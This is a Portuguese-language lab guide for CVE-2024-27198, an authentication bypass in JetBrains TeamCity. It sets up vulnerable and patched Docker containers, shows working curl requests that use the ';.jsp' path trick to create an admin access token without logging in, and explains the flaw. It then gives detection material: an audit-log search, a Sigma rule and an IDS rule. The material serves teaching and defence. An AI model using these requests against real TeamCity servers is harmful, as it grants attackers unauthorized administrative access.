Laboratório para o CVE-2024-27198
O TeamCity fornece uma página exclusiva para administradores, destinada ao gerenciamento de tokens, que não é protegida por autenticação. Isso permite que um usuário não autenticado gere um token de acesso para o usuário administrador, caso consiga encontrar o ID de um usuário existente.
A vulnerabilidade reside no mecanismo de roteamento da API REST. Ao acrescentar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a um endpoint não autenticado, os atacantes podem enganar o servidor web do TeamCity para rotear a solicitação para um endpoint autenticado, contornando os filtros de segurança. Isso não exige nenhum conhecimento ou acesso prévio, tornando-a um CVSS puro de 9.8.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Acesse a instância vulnerável do TeamCity em http://localhost:8111. Acesse a instância corrigida do TeamCity em http://localhost:8112.
Nome de usuário:
admin
Senha:
admin
Solicitação GET para um recurso sem autenticação:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Ambas devem retornar um erro com código de status 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Isso deve retornar um token como este (O token é diferente a cada vez):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Isso deve retornar um erro com código de status 401 porque a instância corrigida não possui a vulnerabilidade.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Deve retornar a lista de usuários.
Durante a demonstração no laboratório, você pode mostrar uma descoberta massiva de Blue Team: por padrão, esta vulnerabilidade é incrivelmente furtiva!
;.jsp não são registradas.Então, como nós a detectamos? Quando o atacante remove seus rastros! Quando o atacante exclui seu token frauduloso para se esconder, o TeamCity registra isso.
Encontre o atacante cobrindo seus rastros nos logs de auditoria:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Você verá uma entrada de log indicando que o token "REDTEAM" foi excluído).
docker compose -f docker-compose.yml down
Esta vulnerabilidade é um caso de CWE-288: Bypass de Autenticação Usando um Caminho ou Canal Alternativo.
A falha decorre de um problema de confusão de caminho entre o servidor web Tomcat e o roteador de aplicações do TeamCity. Ao acrescentar ;.jsp e passar o endpoint da API REST de destino no parâmetro jsp=, o filtro de segurança inicial interpreta a solicitação como uma requisição não autenticada para um arquivo .jsp público (o que é permitido). No entanto, o roteador interno remove o ;.jsp e encaminha a solicitação para o endpoint restrito /app/rest/ sem aplicar o filtro de autenticação.
Caso de Uso Legítimo (Por que ; é permitido?):
O Tomcat usa o caractere ponto e vírgula (;) para Matrix Parameters. Historicamente, esse mecanismo é usado para passar parâmetros diretamente no caminho, como acrescentar JSESSIONID para manter o estado da sessão do usuário quando cookies estão desabilitados. Esse comportamento normal e legítimo do servidor web, combinado com a validação inadequada pelo roteador de aplicações do TeamCity, é o que cria a vulnerabilidade.
Para detectar um comprometimento em andamento ou passado, os Blue Teams devem procurar por:
/app/rest/, mas contendo a string anômala ;.jsp na URI.teamcity-server.log): Geração inexplicada de tokens de acesso ou criação de novas contas administrativas.Como a exploração inicial é furtiva por padrão, os Blue Teams devem contar com a detecção das ações pós-exploração do atacante, como a remoção de rastros. Aqui está uma regra Sigma para seu SIEM detectar exclusões suspeitas de tokens:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Para provar que essa detecção funciona, execute o script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Para detectar essa tentativa de exploração na rede, um SOC pode implementar a seguinte regra de IDS, que procura pelo padrão anômalo ;.jsp combinado com caminhos da API REST:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Para provar que a mitigação funciona, você pode lançar exatamente o mesmo payload de exploit contra o contêiner corrigido do TeamCity, executando na porta 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Como o patch aplica estritamente a correspondência de rotas e sanitiza adequadamente os matrix parameters, a bypass falhará. Você deve ver uma resposta 401 Unauthorized ou 404 Not Found em vez de um token gerado.